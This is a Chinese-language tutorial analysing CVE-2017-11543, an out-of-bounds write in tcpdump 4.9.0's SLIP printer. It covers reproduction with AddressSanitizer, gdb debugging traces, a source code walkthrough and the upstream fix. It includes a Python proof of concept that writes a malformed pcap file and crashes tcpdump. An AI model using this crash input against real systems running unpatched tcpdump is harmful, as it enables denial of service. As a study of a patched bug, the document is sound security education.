CTF-All-In-One/doc/7.1.1_tcpdump_2017-11543.md
2018-08-05 17:43:10 +08:00

616 lines
23 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 7.1.1 CVE-2017-11543 tcpdump sliplink_print 栈溢出漏洞
- [漏洞描述](#漏洞描述)
- [漏洞复现](#漏洞复现)
- [漏洞分析](#漏洞分析)
- [参考资料](#参考资料)
[下载文件](../src/exploit/7.1.1_tcpdump_2017-11543)
## 漏洞描述
tcpdump 是 Linux 上一个强大的网络数据采集分析工具,其 4.9.0 版本的 `sliplink_print` 函数(位于 `print-sl.c`)中存在一个栈溢出漏洞,原因是程序在进行内存存取的操作前未对一些值做判断,导致操作了非法的内存地址。攻击者可以利用这个漏洞触发拒绝服务,甚至任意代码执行。
这个漏洞是发现者用 AFL 做 fuzz 时发现的。
## 漏洞复现
| |推荐使用的环境 | 备注 |
| --- | --- | --- |
| 操作系统 | Ubuntu 16.04 | 体系结构32 位|
| 调试器 | gdb-peda | 版本号7.11.1 |
| 漏洞软件 | tcpdump | 版本号4.9.0 |
为了编译 tcpdump我们需要安装 dev 版本的 libpcap
```text
$ sudo apt-get install libpcap-dev
$ dpkg -l libpcap-dev
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name Version Architecture Description
+++-===================-==============-==============-============================================
ii libpcap-dev 1.7.4-2 all development library for libpcap (transitiona
```
下载安装有漏洞的 tcpdump 4.9.0
```text
$ wget https://github.com/the-tcpdump-group/tcpdump/archive/tcpdump-4.9.0.tar.gz
$ tar zxvf tcpdump-4.9.0.tar.gz
$ cd tcpdump-tcpdump-4.9.0/
$ ./configure
```
执行 `configure` 会生成相应的 Makefile然后 `make install` 就可以了,但是这里我们修改下 Makefile给 gcc 加上参数 `-fsanitize=address`,以开启内存检测功能:
```text
CFLAGS = -g -O2 -fsanitize=address
```
最后:
```text
$ sudo make install
$ tcpdump --version
tcpdump version 4.9.0
libpcap version 1.7.4
```
使用下面的 poc 即可成功地触发漏洞产生 Segment Fault
```python
import os
def sigsegv():
buf = "\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00"
buf += "\x00\x00\x04\x00\x08\x00\x00\x00\xf6\xb5\xa5X\xf8\xbd\x07\x00'"
buf += "\x00\x00\x006\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7"
buf += "\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xca\x00"
buf += "\x00RT\x00\x125\x02\x08\x00'\xbd\xc8.\x08\x00"
with open("slip-bad-direction.pcap", "wb") as f:
f.write(buf)
f.close()
cmd = 'tcpdump -e -r slip-bad-direction.pcap'
os.system(cmd)
if __name__ == "__main__":
sigsegv()
```
```text
$ python poc.py
reading from file slip-bad-direction.pcap, link-type SLIP (SLIP)
ASAN:SIGSEGV
=================================================================
==11084==ERROR: AddressSanitizer: SEGV on unknown address 0x08425c5c (pc 0x0815f697 bp 0x00000027 sp 0xbfae3ab0 T0)
#0 0x815f696 in compressed_sl_print print-sl.c:253
#1 0x815f696 in sliplink_print print-sl.c:166
#2 0x815f696 in sl_if_print print-sl.c:77
#3 0x8060ecf in pretty_print_packet print.c:339
#4 0x8055328 in print_packet tcpdump.c:2501
#5 0xb7203467 (/usr/lib/i386-linux-gnu/libpcap.so.0.8+0x1c467)
#6 0xb71f40e2 in pcap_loop (/usr/lib/i386-linux-gnu/libpcap.so.0.8+0xd0e2)
#7 0x8051218 in main tcpdump.c:2004
#8 0xb7049636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
#9 0x8054315 (/usr/local/sbin/tcpdump.4.9.0+0x8054315)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV print-sl.c:253 compressed_sl_print
==11084==ABORTING
```
```text
$ file slip-bad-direction.pcap
slip-bad-direction.pcap: tcpdump capture file (little-endian) - version 2.4 (SLIP, capture length 262144)
```
## 漏洞分析
首先介绍一下 pcap 包的文件格式,文件头是这样一个结构体,总共 24 个字节:
```C
struct pcap_file_header {
bpf_u_int32 magic;
u_short version_major;
u_short version_minor;
bpf_int32 thiszone; /* gmt to local correction */
bpf_u_int32 sigfigs; /* accuracy of timestamps */
bpf_u_int32 snaplen; /* max length saved portion of each pkt */
bpf_u_int32 linktype; /* data link type (LINKTYPE_*) */
};
```
- `magic`标识位4 字节,这个标识位的值是 16 进制的 0xa1b2c3d4
- `major`主版本号2 字节,默认值为 0x2
- `minor`副版本号2 字节,默认值为 0x04
- `thiszone`区域时间4 字节,实际上并未使用,因此被设置为 0
- `sigfigs`精确时间戳4 字节,实际上并未使用,因此被设置为 0
- `snaplen`数据包最大长度4 字节,该值设置所抓获的数据包的最大长度
- `linktype`链路层类型4 字节,数据包的链路层包头决定了链路层的类型
接下来是数据包头,总共 16 个字节:
```C
struct pcap_pkthdr {
struct timeval ts; /* time stamp */
bpf_u_int32 caplen; /* length of portion present */
bpf_u_int32 len; /* length this packet (off wire) */
};
struct timeval {
long tv_sec; /* seconds (XXX should be time_t) */
suseconds_t tv_usec; /* and microseconds */
};
```
- `ts`时间戳8 字节4字节表示秒数4字节表示微秒数
- `caplen`当前数据区长度4 字节,表示所抓获的数据包保存在 pcap 文件中的实际长度
- `len`离线数据长度4 字节,如果文件中保存的不是完整数据包,可能比 caplen 大
我们从 tcpdump 的测试集中找到这样一个测试用例,整个包是这样的:
```text
$ xxd -g1 slip-bad-direction.pcap
00000000: d4 c3 b2 a1 02 00 04 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 04 00 08 00 00 00 f6 b5 a5 58 f8 bd 07 00 ...........X....
00000020: 27 00 00 00 36 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 '...6...........
00000030: e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 ca 00 ................
00000040: 00 52 54 00 12 35 02 08 00 27 bd c8 2e 08 00 .RT..5...'.....
```
所以其链路层类型为 `08`,即 SLIPSerial Line Internet Protocol。通常一个 SLIP 的包结构如下:
```text
+-------------------------+
| Direction |
| (1 Octet) |
+-------------------------+
| Packet type |
| (1 Octet) |
+-------------------------+
| Compression information |
| (14 Octets) |
+-------------------------+
| Payload |
. .
. .
. .
```
- direction 字段指示发送或接收
- `0`:表示本机接收的包
- `1`:表示本机发送的包
在这里 direction 是 `0xe7`,并且由于 packet type 被设置了,所以 payload 是一个压缩的 TCP/IP 包,它的 packet type 和 compression information 共同构成了压缩的 TCP/IP 数据报,其结构如下:
```text
+-------------------------------+ Byte
| | C | I | P | S | A | W | U | 0
+-------------------------------+
| connection number | 1
+-------------------------------+
| TCP checksum | 2-3
+-------------------------------+
| data | 3-16
. .
. .
. .
```
`sliplink_print` 函数处下断点:
```text
gdb-peda$ b sliplink_print
gdb-peda$ r -e -r slip-bad-direction.pcap
Starting program: /usr/local/sbin/tcpdump.4.9.0 -e -r slip-bad-direction.pcap
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
reading from file slip-bad-direction.pcap, link-type SLIP (SLIP)
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0xe7e7e736
ECX: 0x0
EDX: 0xbfffdb94 --> 0x1
ESI: 0xb65ba810 --> 0xe7e7e7e7
EDI: 0xbfffdb90 --> 0x0
EBP: 0x27 ("'")
ESP: 0xbfffd760 --> 0xe7e7e726
EIP: 0x815efc0 (<sl_if_print+304>: mov eax,DWORD PTR [esp+0x48])
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x815efbc <sl_if_print+300>: pop ebp
0x815efbd <sl_if_print+301>: ret
0x815efbe <sl_if_print+302>: xchg ax,ax
=> 0x815efc0 <sl_if_print+304>: mov eax,DWORD PTR [esp+0x48]
0x815efc4 <sl_if_print+308>: mov edx,DWORD PTR [esp+0x48]
0x815efc8 <sl_if_print+312>: shr eax,0x3
0x815efcb <sl_if_print+315>: and edx,0x7
0x815efce <sl_if_print+318>: movzx eax,BYTE PTR [eax+0x20000000]
[------------------------------------stack-------------------------------------]
0000| 0xbfffd760 --> 0xe7e7e726
0004| 0xbfffd764 --> 0xb65ba800 --> 0xe7e7e7e7
0008| 0xbfffd768 --> 0x27 ("'")
0012| 0xbfffd76c --> 0xfbad2488
0016| 0xbfffd770 --> 0xb5803e68 --> 0x10
0020| 0xbfffd774 --> 0xb7ff0030 (<_dl_runtime_resolve+16>: pop edx)
0024| 0xbfffd778 --> 0xb795af4b (<__fread_chk+11>: add ebx,0xbc0b5)
0028| 0xbfffd77c --> 0x80e6a200
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, sl_if_print (ndo=0xbfffdb90, h=0xbfffd82c,
p=0xb65ba800 '\347' <repeats 22 times>, <incomplete sequence \312>) at ./print-sl.c:77
77 sliplink_print(ndo, p, ip, length);
gdb-peda$ x/10x 0xb65ba800
0xb65ba800: 0xe7e7e7e7 0xe7e7e7e7 0xe7e7e7e7 0xe7e7e7e7
0xb65ba810: 0xe7e7e7e7 0x00cae7e7 0x00545200 0x08023512
0xb65ba820: 0xc8bd2700 0xbe00082e
```
参数 `p=0xb65ba800` 位置处存放着从 pcap 中解析出来的 data总共 39 个字节。
然后语句 `dir = p[SLX_DIR]` 从 data 中取出第一个字节作为 dir`0xe7`
```text
[----------------------------------registers-----------------------------------]
EAX: 0xe7
EBX: 0xe7e7e736
ECX: 0x0
EDX: 0x0
ESI: 0xb65ba810 --> 0xe7e7e7e7
EDI: 0xbfffdb90 --> 0x0
EBP: 0x27 ("'")
ESP: 0xbfffd760 --> 0xe7e7e726
EIP: 0x815efe8 (<sl_if_print+344>: mov DWORD PTR [esp+0x4],eax)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x815efdb <sl_if_print+331>: jne 0x815f3c6 <sl_if_print+1334>
0x815efe1 <sl_if_print+337>: mov eax,DWORD PTR [esp+0x48]
0x815efe5 <sl_if_print+341>: movzx eax,BYTE PTR [eax]
=> 0x815efe8 <sl_if_print+344>: mov DWORD PTR [esp+0x4],eax
0x815efec <sl_if_print+348>: lea eax,[edi+0x74]
0x815efef <sl_if_print+351>: mov ecx,eax
0x815eff1 <sl_if_print+353>: mov DWORD PTR [esp+0x8],eax
0x815eff5 <sl_if_print+357>: shr eax,0x3
[------------------------------------stack-------------------------------------]
0000| 0xbfffd760 --> 0xe7e7e726
0004| 0xbfffd764 --> 0xb65ba800 --> 0xe7e7e7e7
0008| 0xbfffd768 --> 0x27 ("'")
0012| 0xbfffd76c --> 0xfbad2488
0016| 0xbfffd770 --> 0xb5803e68 --> 0x10
0020| 0xbfffd774 --> 0xb7ff0030 (<_dl_runtime_resolve+16>: pop edx)
0024| 0xbfffd778 --> 0xb795af4b (<__fread_chk+11>: add ebx,0xbc0b5)
0028| 0xbfffd77c --> 0x80e6a200
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0815efe8 133 dir = p[SLX_DIR];
```
然后程序将 `dir==0xe7``SLIPDIR_IN==0` 作比较,肯定不相等,于是错误地把 dir 当成 `SLIPDIR_OUT==1` 处理了:
```text
[----------------------------------registers-----------------------------------]
EAX: 0x8237280 --> 0x204f ('O ')
EBX: 0xe7e7e736
ECX: 0xe7
EDX: 0x8237280 --> 0x204f ('O ')
ESI: 0xb65ba810 --> 0xe7e7e7e7
EDI: 0xbfffdb90 --> 0x0
EBP: 0x27 ("'")
ESP: 0xbfffd750 --> 0xbfffdb90 --> 0x0
EIP: 0x815f02b (<sl_if_print+411>: call DWORD PTR [edi+0x74])
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x815f026 <sl_if_print+406>: sub esp,0x8
0x815f029 <sl_if_print+409>: push eax
0x815f02a <sl_if_print+410>: push edi
=> 0x815f02b <sl_if_print+411>: call DWORD PTR [edi+0x74]
0x815f02e <sl_if_print+414>: lea edx,[edi+0x10]
0x815f031 <sl_if_print+417>: add esp,0x10
0x815f034 <sl_if_print+420>: mov eax,edx
0x815f036 <sl_if_print+422>: shr eax,0x3
Guessed arguments:
arg[0]: 0xbfffdb90 --> 0x0
arg[1]: 0x8237280 --> 0x204f ('O ')
[------------------------------------stack-------------------------------------]
0000| 0xbfffd750 --> 0xbfffdb90 --> 0x0
0004| 0xbfffd754 --> 0x8237280 --> 0x204f ('O ')
0008| 0xbfffd758 --> 0x0
0012| 0xbfffd75c --> 0x0
0016| 0xbfffd760 --> 0xe7e7e726
0020| 0xbfffd764 --> 0xe7
0024| 0xbfffd768 --> 0xbfffdc04 --> 0x8060b00 (<ndo_printf>: mov eax,0x8330fa4)
0028| 0xbfffd76c --> 0xfbad2488
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0815f02b 134 ND_PRINT((ndo, dir == SLIPDIR_IN ? "I " : "O "));
```
继续往下执行,终于在执行到语句 `lastlen[dir][lastconn] = length - (hlen << 2);` 的时候挂掉了,它访问了一个不合法的地址:
```text
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xe7e7
EBX: 0xe7e7e6de
ECX: 0xbfffdc04 --> 0x8060b00 (<ndo_printf>: mov eax,0x8330fa4)
EDX: 0xe7
ESI: 0xb65ba810 --> 0xe7e7e7e7
EDI: 0xbfffdb90 --> 0x0
EBP: 0x27 ("'")
ESP: 0xbfffd760 --> 0xe7e7e726
EIP: 0x815f697 (<sl_if_print+2055>: mov DWORD PTR [eax*4+0x83ebcc0],ebx)
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x815f68e <sl_if_print+2046>: mov ebx,DWORD PTR [esp+0x14]
0x815f692 <sl_if_print+2050>: shl eax,0x8
0x815f695 <sl_if_print+2053>: add eax,edx
=> 0x815f697 <sl_if_print+2055>: mov DWORD PTR [eax*4+0x83ebcc0],ebx
0x815f69e <sl_if_print+2062>: mov eax,ecx
0x815f6a0 <sl_if_print+2064>: shr eax,0x3
0x815f6a3 <sl_if_print+2067>: movzx edx,BYTE PTR [eax+0x20000000]
0x815f6aa <sl_if_print+2074>: mov eax,ecx
[------------------------------------stack-------------------------------------]
0000| 0xbfffd760 --> 0xe7e7e726
0004| 0xbfffd764 --> 0xe7
0008| 0xbfffd768 --> 0xbfffdc04 --> 0x8060b00 (<ndo_printf>: mov eax,0x8330fa4)
0012| 0xbfffd76c --> 0xb65ba801 --> 0xe7e7e7e7
0016| 0xbfffd770 --> 0xb65ba809 --> 0xe7e7e7e7
0020| 0xbfffd774 --> 0xe7e7e6de
0024| 0xbfffd778 --> 0xb795af00 (<__realpath_chk>: push ebx)
0028| 0xbfffd77c --> 0x80e6a200
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0815f697 in compressed_sl_print (dir=0xe7, length=0xe7e7e726, ip=0xb65ba810,
chdr=0xb65ba801 '\347' <repeats 21 times>, <incomplete sequence \312>, ndo=0xbfffdb90)
at ./print-sl.c:253
253 lastlen[dir][lastconn] = length - (hlen << 2);
gdb-peda$ x/x $eax*4+0x83ebcc0
0x8425c5c: Cannot access memory at address 0x8425c5c
```
说一下 `compressed_sl_print` 的参数:
- `dir=0xe7` 是 direction
- `length=0xe7e7e726` 是长度,由包头的 `len` 计算得到
- `ip=0xb65ba810` 指向 data
- `chdr=0xb65ba801` 指向压缩的 TCP/IP 头
- `ndo=0xbfffdb90` 是其他一些选项
`lastlen[dir][lastconn] = length - (hlen << 2);` 语句中:
- `lastlen`:被定义为 `static u_int lastlen[2][256];`
- `hlen` 是未压缩的 TCP/IP 头的长度
- `length - hlen` 是 data 的总数
于是这里传入的 `dir==0xe7`,超出了 `lastlen` 定义的范围,发生错误。
回溯一下栈调用情况:
```text
gdb-peda$ bt
#0 0x0815f697 in compressed_sl_print (dir=0xe7, length=0xe7e7e726, ip=0xb65ba810,
chdr=0xb65ba801 '\347' <repeats 21 times>, <incomplete sequence \312>, ndo=0xbfffdb90)
at ./print-sl.c:253
#1 sliplink_print (length=0xe7e7e726, ip=0xb65ba810,
p=0xb65ba800 '\347' <repeats 22 times>, <incomplete sequence \312>, ndo=0xbfffdb90) at ./print-sl.c:166
#2 sl_if_print (ndo=0xbfffdb90, h=0xbfffd82c,
p=0xb65ba800 '\347' <repeats 22 times>, <incomplete sequence \312>) at ./print-sl.c:77
#3 0x08060ed0 in pretty_print_packet (ndo=0xbfffdb90, h=0xbfffd82c,
sp=0xb65ba800 '\347' <repeats 22 times>, <incomplete sequence \312>, packets_captured=0x1)
at ./print.c:339
#4 0x08055329 in print_packet (user=0xbfffdb90 "", h=0xbfffd82c,
sp=0xb65ba800 '\347' <repeats 22 times>, <incomplete sequence \312>) at ./tcpdump.c:2501
#5 0xb7a37468 in ?? () from /usr/lib/i386-linux-gnu/libpcap.so.0.8
#6 0xb7a280e3 in pcap_loop () from /usr/lib/i386-linux-gnu/libpcap.so.0.8
#7 0x08051219 in main (argc=0x4, argv=0xbfffef74) at ./tcpdump.c:2004
#8 0xb787d637 in __libc_start_main (main=0x804f8f0 <main>, argc=0x4, argv=0xbfffef74,
init=0x818a160 <__libc_csu_init>, fini=0x818a1c0 <__libc_csu_fini>, rtld_fini=0xb7fea8a0 <_dl_fini>,
stack_end=0xbfffef6c) at ../csu/libc-start.c:291
#9 0x08054316 in _start ()
```
问题发生的原因是 `sliplink_print` 函数的 `ND_PRINT((ndo, dir == SLIPDIR_IN ? "I " : "O "));` 没有考虑到 dir 既不是 0 也不是 1 的情况,错误地把它当做一个发送的数据包处理,然后调用了 `compressed_sl_print` 函数,导致非法内存地址访问。
漏洞程序代码如下:
```C
#define SLX_DIR 0
#define SLX_CHDR 1
#define CHDR_LEN 15
#define SLIPDIR_IN 0
#define SLIPDIR_OUT 1
static u_int lastlen[2][256];
static void
sliplink_print(netdissect_options *ndo,
register const u_char *p, register const struct ip *ip,
register u_int length)
{
int dir;
u_int hlen;
dir = p[SLX_DIR];
ND_PRINT((ndo, dir == SLIPDIR_IN ? "I " : "O "));
if (ndo->ndo_nflag) {
/* XXX just dump the header */
register int i;
for (i = SLX_CHDR; i < SLX_CHDR + CHDR_LEN - 1; ++i)
ND_PRINT((ndo, "%02x.", p[i]));
ND_PRINT((ndo, "%02x: ", p[SLX_CHDR + CHDR_LEN - 1]));
return;
}
switch (p[SLX_CHDR] & 0xf0) {
case TYPE_IP:
ND_PRINT((ndo, "ip %d: ", length + SLIP_HDRLEN));
break;
case TYPE_UNCOMPRESSED_TCP:
/*
* The connection id is stored in the IP protocol field.
* Get it from the link layer since sl_uncompress_tcp()
* has restored the IP header copy to IPPROTO_TCP.
*/
lastconn = ((const struct ip *)&p[SLX_CHDR])->ip_p;
hlen = IP_HL(ip);
hlen += TH_OFF((const struct tcphdr *)&((const int *)ip)[hlen]);
lastlen[dir][lastconn] = length - (hlen << 2);
ND_PRINT((ndo, "utcp %d: ", lastconn));
break;
default:
if (p[SLX_CHDR] & TYPE_COMPRESSED_TCP) {
compressed_sl_print(ndo, &p[SLX_CHDR], ip,
length, dir);
ND_PRINT((ndo, ": "));
} else
ND_PRINT((ndo, "slip-%d!: ", p[SLX_CHDR]));
}
}
static void
compressed_sl_print(netdissect_options *ndo,
const u_char *chdr, const struct ip *ip,
u_int length, int dir)
{
register const u_char *cp = chdr;
register u_int flags, hlen;
flags = *cp++;
if (flags & NEW_C) {
lastconn = *cp++;
ND_PRINT((ndo, "ctcp %d", lastconn));
} else
ND_PRINT((ndo, "ctcp *"));
/* skip tcp checksum */
cp += 2;
switch (flags & SPECIALS_MASK) {
case SPECIAL_I:
ND_PRINT((ndo, " *SA+%d", lastlen[dir][lastconn]));
break;
case SPECIAL_D:
ND_PRINT((ndo, " *S+%d", lastlen[dir][lastconn]));
break;
default:
if (flags & NEW_U)
cp = print_sl_change(ndo, "U=", cp);
if (flags & NEW_W)
cp = print_sl_winchange(ndo, cp);
if (flags & NEW_A)
cp = print_sl_change(ndo, "A+", cp);
if (flags & NEW_S)
cp = print_sl_change(ndo, "S+", cp);
break;
}
if (flags & NEW_I)
cp = print_sl_change(ndo, "I+", cp);
/*
* 'hlen' is the length of the uncompressed TCP/IP header (in words).
* 'cp - chdr' is the length of the compressed header.
* 'length - hlen' is the amount of data in the packet.
*/
hlen = IP_HL(ip);
hlen += TH_OFF((const struct tcphdr *)&((const int32_t *)ip)[hlen]);
lastlen[dir][lastconn] = length - (hlen << 2);
ND_PRINT((ndo, " %d (%ld)", lastlen[dir][lastconn], (long)(cp - chdr)));
}
```
## 漏洞修复
在最新的 tcpdump 中已经修复了该漏洞,当发现 direction 是错误的值时,直接返回:
```text
$ tcpdump --version
tcpdump version 4.9.2
libpcap version 1.7.4
Compiled with AddressSanitizer/GCC.
```
```text
$ tcpdump -e -r slip-bad-direction.pcap
reading from file slip-bad-direction.pcap, link-type SLIP (SLIP)
22:23:50.507384 Invalid direction 231 ip v14
```
具体代码的修改如下所示,文件 `print-sl.c` 用于打印 CSLIPCompressed Serial Line Internet Protocol即压缩的 SLIP
```diff
$ git diff 09b1185 378ac56 print-sl.c
diff --git a/print-sl.c b/print-sl.c
index 3fd7e898..a02077b3 100644
--- a/print-sl.c
+++ b/print-sl.c
@@ -131,8 +131,21 @@ sliplink_print(netdissect_options *ndo,
u_int hlen;
dir = p[SLX_DIR]; // 在这个例子中 dir = 231 = 0xe7
- ND_PRINT((ndo, dir == SLIPDIR_IN ? "I " : "O "));
+ switch (dir) {
+ case SLIPDIR_IN:
+ ND_PRINT((ndo, "I "));
+ break;
+
+ case SLIPDIR_OUT:
+ ND_PRINT((ndo, "O "));
+ break;
+
+ default: // 当 dir 不能匹配时的默认操作,将其赋值为 -1
+ ND_PRINT((ndo, "Invalid direction %d ", dir));
+ dir = -1;
+ break;
+ }
if (ndo->ndo_nflag) {
/* XXX just dump the header */
register int i;
@@ -155,13 +168,21 @@ sliplink_print(netdissect_options *ndo,
* has restored the IP header copy to IPPROTO_TCP.
*/
lastconn = ((const struct ip *)&p[SLX_CHDR])->ip_p;
+ ND_PRINT((ndo, "utcp %d: ", lastconn));
+ if (dir == -1) { // 在存取操作前检查 dir 的值
+ /* Direction is bogus, don't use it */
+ return;
+ }
hlen = IP_HL(ip);
hlen += TH_OFF((const struct tcphdr *)&((const int *)ip)[hlen]);
lastlen[dir][lastconn] = length - (hlen << 2);
- ND_PRINT((ndo, "utcp %d: ", lastconn));
break;
default:
+ if (dir == -1) { // 在存取操作前检查 dir 的值
+ /* Direction is bogus, don't use it */
+ return;
+ }
if (p[SLX_CHDR] & TYPE_COMPRESSED_TCP) {
compressed_sl_print(ndo, &p[SLX_CHDR], ip,
length, dir);
```
commit[CVE-2017-11543/Make sure the SLIP direction octet is valid.](https://github.com/the-tcpdump-group/tcpdump/commit/378ac56f8055cadda55735b2a786db844d521d24)
## 参考资料
- [CVE-2017-11543 Detail](https://nvd.nist.gov/vuln/detail/CVE-2017-11543#vulnDescriptionTitle)
- [tcpdump issues](https://github.com/the-tcpdump-group/tcpdump/issues/619)
- [hackerlib-vul](https://github.com/hackerlib/hackerlib-vul/tree/master/tcpdump-vul)
- [Compressing TCP/IP Headers for Low-Speed Serial Links](https://tools.ietf.org/pdf/rfc1144.pdf)